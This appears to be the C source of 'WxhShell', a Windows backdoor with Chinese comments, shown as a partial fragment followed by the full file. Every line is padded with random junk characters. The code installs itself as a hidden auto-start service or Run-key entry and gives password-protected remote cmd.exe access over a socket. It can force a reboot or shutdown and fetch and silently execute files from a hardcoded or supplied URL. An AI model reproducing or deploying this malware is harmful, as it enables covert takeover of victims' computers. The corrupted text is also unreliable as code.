    if(Boot(SHUTDOWN)) +DQUL|\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8@ f!,!Wn  
    else { \v+>qY<q  
    closesocket(wsh); T!?tyW  
    ExitThread(0); XR VZU~ZV  
    } ?(zCv9Pg  
    break; AP z"k?D0  
    } 1tO96t^d%  
  // 获取shell v? 8i;[  
  case 's': { P cbhylKd  
    CmdShell(wsh); +*W lj8  
    closesocket(wsh); qu#xc0?  
    ExitThread(0); .~ uKr^%  
    break; (z;lNl(*C  
  } R68:=E4  
  // 退出 W3ms8=z  
  case 'x': { s;Bh69  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]'n4e*  
    CloseIt(wsh); YeT{<9p  
    break; K%`]HW@I{  
    } QEut@L  
  // 离开 $8(QBZq  
  case 'q': { a_0I)' ?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w2s06`g  
    closesocket(wsh); x8C\&ivn  
    WSACleanup(); LibQlNW\  
    exit(1); x%k@&d;z  
    break; (x\VGo  
        } I0H]s/*C%9  
  } qAd=i0{N  
  } 6&;GC<].(y  
KX;JX*)J  
  // 提示信息 J,?F+Qji&=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U8NX%*oW  
} WcT= 5G  
  } nql9SQ'\\  
oR~d<^z(  
  return; K/Pw;{}  
} \6MM7x(U3  
4sO Rp^t'Q  
// shell模块句柄 rp"5176  
int CmdShell(SOCKET sock) Id`V`|q  
{ Nr]Fh  
STARTUPINFO si; Sx J0Y8#z  
ZeroMemory(&si,sizeof(si)); HnjA78%i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; djnES,^%9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MCEHv}W  
PROCESS_INFORMATION ProcessInfo; =#pYd~  
char cmdline[]="cmd"; PCL ;Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9,JM$ Y {  
  return 0; l(87s^_  
} ?aWVfX!+G5  
EFx>Hu/ [G  
// 自身启动模式 'nM4t  
int StartFromService(void) Ye$j43b  
{ sCt)Yp+8}B  
typedef struct <FU?^*~  
{ <)!,$]S  
  DWORD ExitStatus; 'Nt)7U>oC9  
  DWORD PebBaseAddress; *U%3 [6hm  
  DWORD AffinityMask; H#V&5|K%  
  DWORD BasePriority; >EFWevT{  
  ULONG UniqueProcessId; Wq+GlB*  
  ULONG InheritedFromUniqueProcessId;  yZ[g2*1L  
}   PROCESS_BASIC_INFORMATION; #\=7A  
&)+H''JY  
PROCNTQSIP NtQueryInformationProcess; [mjie1j/<  
#| ,cy,v4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H I_uR$m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ng !d6]  
6hd<ys?  
  HANDLE             hProcess; `#l3a  
  PROCESS_BASIC_INFORMATION pbi; (57!{[J  
o<3$|`S&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $Z;/Sh  
  if(NULL == hInst ) return 0; pw4^E|X  
itirh"[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,>b>I#{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *IWW,@0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8 I_  
"|1iz2L  
  if (!NtQueryInformationProcess) return 0; 7M7Ir\d0lp  
IKP GqoM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S:}"gwFM  
  if(!hProcess) return 0; &*7KQd  
9NU0K2S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Kw?3joy  
/u.ZvY3,  
  CloseHandle(hProcess); 3BCD0 %8  
#6ePwd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _ pz}  
if(hProcess==NULL) return 0; DZC@^k \E  
^s7!F.O C  
HMODULE hMod; I-r+1gty  
char procName[255]; wz69Yw7  
unsigned long cbNeeded; OrM1eP"I  
54z.@BJhE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J@$~q}iG  
!*"fWahv  
  CloseHandle(hProcess); aif;h! ?y  
/A-WI x  
if(strstr(procName,"services")) return 1; // 以服务启动 a= j'G]=  
u)<s*jk  
  return 0; // 注册表启动 -c0ypz  
} 7>j~;p{  
5a_8`csu  
// 主模块 PgK7CG7G  
int StartWxhshell(LPSTR lpCmdLine) y-bUVw!Y  
{ ?hkOL$v<9}  
  SOCKET wsl; n8F5z|/  
BOOL val=TRUE; @ G)yz!H  
  int port=0; ;H~<.QW  
  struct sockaddr_in door; NvJ5[W  
1F`jptVQ\G  
  if(wscfg.ws_autoins) Install(); xH*X5?  
HVHv,:bPo  
port=atoi(lpCmdLine); qJdlZW<  
)'U0n`=  
if(port<=0) port=wscfg.ws_port; A/'po_'uy  
]1<GZ`  
  WSADATA data; .nrllVG%`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v}Ju2}IK  
rjK`t_(=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u7[}pf$}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4_=2|2Wz[  
  door.sin_family = AF_INET; _#:/ ~Jp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <8^x Mjc  
  door.sin_port = htons(port); k[ro[E  
,.W7Z~z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .M^[/!  
closesocket(wsl); tWIJ,_8l  
return 1; ciS,  
} =zyA~}M2  
BtC*]WB"_'  
  if(listen(wsl,2) == INVALID_SOCKET) { 'q)g, 2B%  
closesocket(wsl); G7nhUg  
return 1; vNv!fkl  
} !&rd#ZBn  
  Wxhshell(wsl); =,(TP  
  WSACleanup(); MY@&^71i4  
a^p#M  
return 0; yk`qF'4]  
)e,O+w"  
} Y/FPkH4  
9dhEQ=K{3  
// 以NT服务方式启动 9VnBNuT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IQ I8 v  
{ T[bCY 6  
DWORD   status = 0; ~_D.&-xUF  
  DWORD   specificError = 0xfffffff; R2Fjv@Egk  
@m#OhERv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =+!l8o&o,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3OZPy|".ax  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AzOs/q8O  
  serviceStatus.dwWin32ExitCode     = 0; x)~i`$  
  serviceStatus.dwServiceSpecificExitCode = 0; 2]5{Xmmo9  
  serviceStatus.dwCheckPoint       = 0; EsMX #1>/m  
  serviceStatus.dwWaitHint       = 0; /D&&7;jJ  
\EySKQ=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Mqr_w!8d  
  if (hServiceStatusHandle==0) return; 3T2]V?   
@b,Az{EH  
status = GetLastError(); 9 %T??-  
  if (status!=NO_ERROR) "=djo+y  
{ 5G f@n/M"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T+<.KvO-  
    serviceStatus.dwCheckPoint       = 0; -!j6&  
    serviceStatus.dwWaitHint       = 0; "o&8\KSs  
    serviceStatus.dwWin32ExitCode     = status; cs+3&T: ,*  
    serviceStatus.dwServiceSpecificExitCode = specificError; eThaH0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G.rz6o;  
    return; <e2l@@#oy  
  } 1 ~zjsi  
K($l>PB,y@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l_^SU8i57  
  serviceStatus.dwCheckPoint       = 0; 1[!v{F%]  
  serviceStatus.dwWaitHint       = 0; zw>L0gC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )XN_|zCk  
} 4E39]vb  
vk92j?  
// 处理NT服务事件,比如:启动、停止 b6N[t _,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p{g4`o  
{ ??,[-Oi  
switch(fdwControl) C`[<6>&y  
{ 8:,($a/KF  
case SERVICE_CONTROL_STOP: kFn/dQ4|  
  serviceStatus.dwWin32ExitCode = 0; V*giF`gq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q/+`9z+c  
  serviceStatus.dwCheckPoint   = 0; Muo E~K2  
  serviceStatus.dwWaitHint     = 0; q!$s<n  
  { ]vvYPRV76  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 94"+l@K  
  } .AfZ5s]/F  
  return; 7Y5r3a}%  
case SERVICE_CONTROL_PAUSE: [.gk{> #  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vd%g'fTy9  
  break; n)e2?  
case SERVICE_CONTROL_CONTINUE: LhJUoX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vI{aF- #  
  break; (pxH<k=Ah  
case SERVICE_CONTROL_INTERROGATE: .XJ'2yKof  
  break; 7n7Xyb  
}; )+G"57p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vMTf^V  
} V`Cy x^P  
tbFAVGcAM  
// 标准应用程序主函数 pU$k{^'UK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sQJ\{'g  
{ ]r Uj<[O  
'Gy`e-yB  
// 获取操作系统版本 @Rr=uf G  
OsIsNt=GetOsVer(); 0:$ }~T9T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .-d'*$ yJ  
xXe3E&  
  // 从命令行安装 1BSd9Ydj  
  if(strpbrk(lpCmdLine,"iI")) Install(); B9maz"lJ  
D*M `qPX~  
  // 下载执行文件 EoAr}fI  
if(wscfg.ws_downexe) { J:Cr.K`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4t, 2H"M  
  WinExec(wscfg.ws_filenam,SW_HIDE); u<-)C)z  
} n{tc{LII/  
0#*6:{/^  
if(!OsIsNt) { 2 XP }:e  
// 如果时win9x,隐藏进程并且设置为注册表启动 fiGTI}=P  
HideProc(); UA>=# $  
StartWxhshell(lpCmdLine); xfYKUOp/  
} PkvW6,lS  
else G4* LO  
  if(StartFromService()) m\&|#yq  
  // 以服务方式启动 2u3Kyn  
  StartServiceCtrlDispatcher(DispatchTable); K10G+'H^  
else daE.y_9y  
  // 普通方式启动 ;b<w'A_1  
  StartWxhshell(lpCmdLine); $}9jv3>)  
6'^_*n  
return 0; s L^+$Mq6  
} 6"&cQ>$xh  
d?zSwLsl  
g) Lf^  
_@DOH2 lXJ  
=========================================== B=|R?t (*  
qSY\a\.<  
Sdu\4;(  
@<\oM]jX  
bMO^}qR`  
gv*b`cl  
" OoB|Eh|),  
}y(t')=9  
#include <stdio.h> IW~R{ ]6  
#include <string.h> TM)INo^  
#include <windows.h> 6/UOz V,[  
#include <winsock2.h> `Fd \dn  
#include <winsvc.h> GA^hev  
#include <urlmon.h> ? i{?Q,  
R"B{IWQi  
#pragma comment (lib, "Ws2_32.lib") TRhMxH  
#pragma comment (lib, "urlmon.lib") uNyU]@R<W  
AdDX_\V,*  
#define MAX_USER   100 // 最大客户端连接数 )|~K&qn`  
#define BUF_SOCK   200 // sock buffer =7 l uV_5  
#define KEY_BUFF   255 // 输入 buffer Y2`sL,'h  
uo"<}>iJ  
#define REBOOT     0   // 重启 1&w%TRC2x  
#define SHUTDOWN   1   // 关机 7^gO>2~  
gIB3DuUo  
#define DEF_PORT   5000 // 监听端口 P5Xp #pa  
$qNF /rF  
#define REG_LEN     16   // 注册表键长度 .S k+"iH5  
#define SVC_LEN     80   // NT服务名长度 %2QGbnt_*  
p{Lrv%-j  
// 从dll定义API )z[C=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]A5F}wV4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ha :l-<a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =pL$*`]?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jSI1tW8  
wHLQfrl0  
// wxhshell配置信息 ~+Wx\:TT  
struct WSCFG { vjEDd`jYZ  
  int ws_port;         // 监听端口 Mu3G/|t(  
  char ws_passstr[REG_LEN]; // 口令 , $7-SN  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'O<b'}-A  
  char ws_regname[REG_LEN]; // 注册表键名 "N+4TfXy  
  char ws_svcname[REG_LEN]; // 服务名 s)-An( Uw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7-744wV}Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (\6E.Z#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WtOjPW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g}_2T\$k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T?8BAxC?K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _XZ Gj:V  
f"Sp.'@  
}; 0#V"   
Y@FYo>0O  
// default Wxhshell configuration l2F#^=tp  
struct WSCFG wscfg={DEF_PORT, ,r B(WKU  
    "xuhuanlingzhe",  /YJo"\7  
    1, 01.q9AGy  
    "Wxhshell", /~,*DH$)  
    "Wxhshell", Ao K9=F}  
            "WxhShell Service", <"3q5ic/Z  
    "Wrsky Windows CmdShell Service", [jgVN w""D  
    "Please Input Your Password: ", 72nZ`u  
  1, ChiIQWFE  
  "http://www.wrsky.com/wxhshell.exe", iv*RE9?^  
  "Wxhshell.exe" pwo$qs(p  
    }; ex>7f%\  
@76}d  
// 消息定义模块 x6cG'3&T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mP)bOAU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zyPb\/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wl| i$L)7  
char *msg_ws_ext="\n\rExit."; aL(G0@(  
char *msg_ws_end="\n\rQuit."; j4XVk@'OX  
char *msg_ws_boot="\n\rReboot..."; 64'2ICf#m  
char *msg_ws_poff="\n\rShutdown..."; O=%Ht-kOc  
char *msg_ws_down="\n\rSave to "; bxa>:71  
:<g0Ho?e  
char *msg_ws_err="\n\rErr!"; _7!ZnJrR  
char *msg_ws_ok="\n\rOK!"; "51/,D  
mm>l:M TF  
char ExeFile[MAX_PATH]; GCl *x:  
int nUser = 0; WJ8i=MO67  
HANDLE handles[MAX_USER]; $%EX~$=m]-  
int OsIsNt; OY1bFIE  
Kbu>U{'  
SERVICE_STATUS       serviceStatus; <X*oW".  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m* 3ipI{h  
? dJd7+A  
// 函数声明 %bw+>:Tr  
int Install(void); g4+K"Q /M  
int Uninstall(void); Bz'.7" ":0  
int DownloadFile(char *sURL, SOCKET wsh); :Wbp|:N0  
int Boot(int flag); k| OM?\  
void HideProc(void); SPqJ [ F  
int GetOsVer(void); kn:hxdZ  
int Wxhshell(SOCKET wsl); NfDS6i.Fqp  
void TalkWithClient(void *cs); Zj[m  
int CmdShell(SOCKET sock); .>W [  
int StartFromService(void); lw3H 8[  
int StartWxhshell(LPSTR lpCmdLine); zY/Oh9`=v  
xd{.\!q.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i$kB6B#==  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WN]k+0#  
`)cI^!  
// 数据结构和表定义 HS |Gz3~  
SERVICE_TABLE_ENTRY DispatchTable[] = 2)IM<rf'^  
{ #?)6^uTW  
{wscfg.ws_svcname, NTServiceMain}, j \r GU){  
{NULL, NULL} b_sasZo  
}; SY Bp-o  
t,YRM$P  
// 自我安装 K~#?Y,}O  
int Install(void) e6p3!)@P1  
{ sqhMnDn[  
  char svExeFile[MAX_PATH]; M"*NV(".g  
  HKEY key; d'(n/9K  
  strcpy(svExeFile,ExeFile); WWSycH ?[  
tQ@7cjq8bA  
// 如果是win9x系统,修改注册表设为自启动 _#\Nw0{  
if(!OsIsNt) { lL zR5445)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c&PsT4Wh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |ru!C(  
  RegCloseKey(key); r(S h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eFsl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gq?O}gVD  
  RegCloseKey(key); )VQ[}iT  
  return 0; zWo  
    } @7}XBg[pI  
  } 0d2RB^"i  
} Rir0^XqG  
else { l^I? @{W  
~Bl,_?CBr  
// 如果是NT以上系统,安装为系统服务 d>u^ 7:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); & &CrF~  
if (schSCManager!=0) _wXT9`|3  
{ }V ]*FCpQ  
  SC_HANDLE schService = CreateService L4^/O29  
  ( }Rz,}^B  
  schSCManager, G9Xkim Q'  
  wscfg.ws_svcname, m?wQk:Y1  
  wscfg.ws_svcdisp, Q>Ct]JW&  
  SERVICE_ALL_ACCESS, 9]N{8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  0Y!"3bw|  
  SERVICE_AUTO_START, (}wPu&Is,C  
  SERVICE_ERROR_NORMAL, t{UVX%b  
  svExeFile, uKzx >\}?1  
  NULL, e!0xh  
  NULL, 2MB>NM<xO  
  NULL, ajkV"~w',|  
  NULL, 'T^MaLK  
  NULL {;Hg1=cm  
  ); y# \"yykB  
  if (schService!=0) Lea4-Gc  
  { UG44 oKB  
  CloseServiceHandle(schService); .WSn Y71  
  CloseServiceHandle(schSCManager); 41/civX>V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2Bi]t%<{  
  strcat(svExeFile,wscfg.ws_svcname); i-w<5pGnf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mvH}G8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y~*B%KnEQy  
  RegCloseKey(key); tX% C5k  
  return 0; ,eTdQI;   
    } G[e,7jev  
  } 8;`B3N7  
  CloseServiceHandle(schSCManager); lI46 f  
} 7kD?xHpe  
} )0I -N)  
+|;Ri68  
return 1; G8]{pbX  
} !^Ay !  
8Y%  
// 自我卸载 2FdwX ,O.  
int Uninstall(void) Qxy ~ %;X  
{  DEu0Z  
  HKEY key; !0^4D=dO  
CD`6R.  
if(!OsIsNt) { c\[&IlM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l9/}fMi  
  RegDeleteValue(key,wscfg.ws_regname); k6DJ(.n'%a  
  RegCloseKey(key); O.#R r/+)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RPMz&/k  
  RegDeleteValue(key,wscfg.ws_regname); 8yYag[m8  
  RegCloseKey(key); qPi $kecx  
  return 0; p]X+#I<  
  } D*46,>Tv  
} ~{g/  
} %;]/Z%!  
else { z1tD2jL_  
pqvl,G5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (=rDt93J  
if (schSCManager!=0) E\Wd*,/v)  
{ \8*j"@ !H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); us5Zi#}  
  if (schService!=0) K HNU=k  
  { rp @%0/[  
  if(DeleteService(schService)!=0) { sMAH;'`!Eu  
  CloseServiceHandle(schService); &Odrq#o?R  
  CloseServiceHandle(schSCManager); xP9R d/xa|  
  return 0; IecD41%  
  } 8WLh7[  
  CloseServiceHandle(schService); PRYm1Y  
  } Gyy4)dP  
  CloseServiceHandle(schSCManager); ^4JK4+!Zfq  
} P5dD&  
} ve a$G~[%6  
XmO]^ `  
return 1; ,F!-17_vt  
} )jwovS?V  
f7 ew<c\  
// 从指定url下载文件 'M?pg$ta_V  
int DownloadFile(char *sURL, SOCKET wsh) ]ml'd  
{ }j6|+  
  HRESULT hr; L#D)[v"  
char seps[]= "/"; Y$^vA[]c>  
char *token; ~y Dl & S  
char *file; |VE.khq#  
char myURL[MAX_PATH]; \p\p~FVS  
char myFILE[MAX_PATH]; 1 h162  
e?XGv0^qu  
strcpy(myURL,sURL); &9Z@P[f  
  token=strtok(myURL,seps); +yr~UP_ }  
  while(token!=NULL) D}{]5R  
  { i5WO)9Us  
    file=token; dqU)(T=C  
  token=strtok(NULL,seps); a{;+_J3S  
  } !}`[s2ji  
V LeYO5'L  
GetCurrentDirectory(MAX_PATH,myFILE); a~VW?wq  
strcat(myFILE, "\\"); nJgN2Z  
strcat(myFILE, file); !oRN,m[7)p  
  send(wsh,myFILE,strlen(myFILE),0); Pr1OQbg]8  
send(wsh,"...",3,0); cjLA7I.O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \ z*<^ONq  
  if(hr==S_OK) 0jXDjk5'<  
return 0; 1_xkGc-z<  
else 4 q % Gc  
return 1; u3 +]3!BQ  
ok-q9dM  
} J| 46i  
2c,w 4rK  
// 系统电源模块 Q^Vch(`&P  
int Boot(int flag) 2nFr?Y3g,  
{ q|lP?-j  
  HANDLE hToken; 8;UkZN"hy5  
  TOKEN_PRIVILEGES tkp; <X5V]f  
I#F, Mb>:  
  if(OsIsNt) { VK%ExMSqEh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PJKxh%J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tOj5b 7'ui  
    tkp.PrivilegeCount = 1; :-2sKD y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a[=B?Bd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5P('SFq'=  
if(flag==REBOOT) { s }^W2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |c$*Fa"A  
  return 0; DM,;W`|6%  
} ~2NT Xp  
else { 8M['-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !*wd d8   
  return 0; m KKa0"  
} -&y&b-  
  } UBuG12U4Y  
  else { *MWI`=c  
if(flag==REBOOT) { {Z$]Rj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !cO<N~0*5x  
  return 0; )Ps<u-V  
} grd fR`3  
else { TYxi &;w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v9D[| 4  
  return 0; c)QOgXv  
} nrTCq~LO(  
} 2Y}A9Veb  
esv<b>`R  
return 1; `1 Tg8  
} }V+&o\4  
M7gqoJM'Q  
// win9x进程隐藏模块 (elkk#  
void HideProc(void) @<S'f<>g  
{ %CrpUx  
61b<6 r0o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'Te'wh=Y  
  if ( hKernel != NULL ) |L)qH"Eo  
  { kgX"I ?>d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0M}Ql5+h,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i8/"|+Z  
    FreeLibrary(hKernel); x}7Xd P.2$  
  } 0w$1Yx~C  
',Oc +jLR  
return; p AtxEaXh  
} F xXnX  
i?F~]8  
// 获取操作系统版本 mndNkK5o  
int GetOsVer(void) BQ~\p\  
{  ZN;fDv  
  OSVERSIONINFO winfo; ;Ac!"_N?7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zL+M-2hV  
  GetVersionEx(&winfo); yA<\?Ps  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fqm6Pd{:(  
  return 1; `7 J4h9K  
  else pWGIA6&v(  
  return 0; WZ@$bf}f0  
} ][T>052v  
0mT.J~}1v  
// 客户端句柄模块 .18MMzdN  
int Wxhshell(SOCKET wsl) ];Bk|xJ/>  
{ qS[nf>"  
  SOCKET wsh; ,5|@vW2@u  
  struct sockaddr_in client; 6)3pnhG9  
  DWORD myID; |=Pw -uk  
^+dL7g?+  
  while(nUser<MAX_USER) eG5xJA^  
{ KlRIJOS  
  int nSize=sizeof(client); 4Cf.%f9@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f:A1j\A?  
  if(wsh==INVALID_SOCKET) return 1; 5bprhq-7  
k?Iq 6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0~nub  
if(handles[nUser]==0) MJ@PAwv"  
  closesocket(wsh); *2I@_b6&  
else /3 ;t &]  
  nUser++; SDW!9jm>R  
  } @(e/Y/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eq36mIo  
lLL)S  
  return 0; yKOC1( ~  
} j1$s^-9  
wb-_CQ  
// 关闭 socket Cy\! H&0wg  
void CloseIt(SOCKET wsh) &o)eRcwH`  
{ pU@ &-  
closesocket(wsh); $C&E3 'O  
nUser--; SfwNNX%  
ExitThread(0); V)Y#m/$`  
} )m(?U  
R-Z)0S'ZR  
// 客户端请求句柄 $)M 5@KT  
void TalkWithClient(void *cs) 7brC@+ZD  
{ RZ:= ';  
P?YcZAJT*  
  SOCKET wsh=(SOCKET)cs; IaR D"oCH  
  char pwd[SVC_LEN]; nTPq|=C  
  char cmd[KEY_BUFF]; ywbdV-t/  
char chr[1]; .|3&lb6  
int i,j;  r(c8P6_  
Wc{/K6]f  
  while (nUser < MAX_USER) { H<wkD9v}H5  
q{+Pf/M5  
if(wscfg.ws_passstr) { A>J,Bi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I(:d8SF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5*Y(%I<  
  //ZeroMemory(pwd,KEY_BUFF); ,CQg6- [  
      i=0; - |&&lxrwh  
  while(i<SVC_LEN) { hxuc4C\J  
:pgpE0  
  // 设置超时 X?OH//co  
  fd_set FdRead; &^^V*O  
  struct timeval TimeOut; 6^"Spf]  
  FD_ZERO(&FdRead); j q1 |`:  
  FD_SET(wsh,&FdRead); 18gApRa  
  TimeOut.tv_sec=8; >du|DZq  
  TimeOut.tv_usec=0; X< p KAO\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y`!Zk$8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5TS&NefM  
W 33MYw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #w# :f  
  pwd=chr[0]; _tQR3I5  
  if(chr[0]==0xd || chr[0]==0xa) { p;9"0rj,z  
  pwd=0; WBY_%RTx  
  break; NN@'79x  
  } h7F5-~SpD  
  i++; K0] 42K  
    } Q}:#H z?U  
5? 1:RE(1  
  // 如果是非法用户,关闭 socket #>dj!33  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FkY <I]F  
} X_2p C|C  
) i=.x+Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); , FD RU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  MON]rj7  
*'hJ5{U  
while(1) { 6~c:FsZ)  
:[.**,0R  
  ZeroMemory(cmd,KEY_BUFF); *32hIiCm  
=/MA`>  
      // 自动支持客户端 telnet标准   jdAjCy;s!  
  j=0; BXB ZX@jVk  
  while(j<KEY_BUFF) { 7Nt6}${=z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [e;c)XS[  
  cmd[j]=chr[0]; cMp#_\B  
  if(chr[0]==0xa || chr[0]==0xd) { 8a3h)R  
  cmd[j]=0; 6h:2,h pE  
  break; Av_JcH  
  } g! DJ W  
  j++; 7FGi+  
    } 4Bz:n  
;30SnR/  
  // 下载文件 nb_$g@ 03  
  if(strstr(cmd,"http://")) { VQwF9Iq]`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b,uu dtlH  
  if(DownloadFile(cmd,wsh)) EN;s 8sC!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =WM^i86  
  else 5V@c~1\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'j(F=9)  
  } Bw25+l Px  
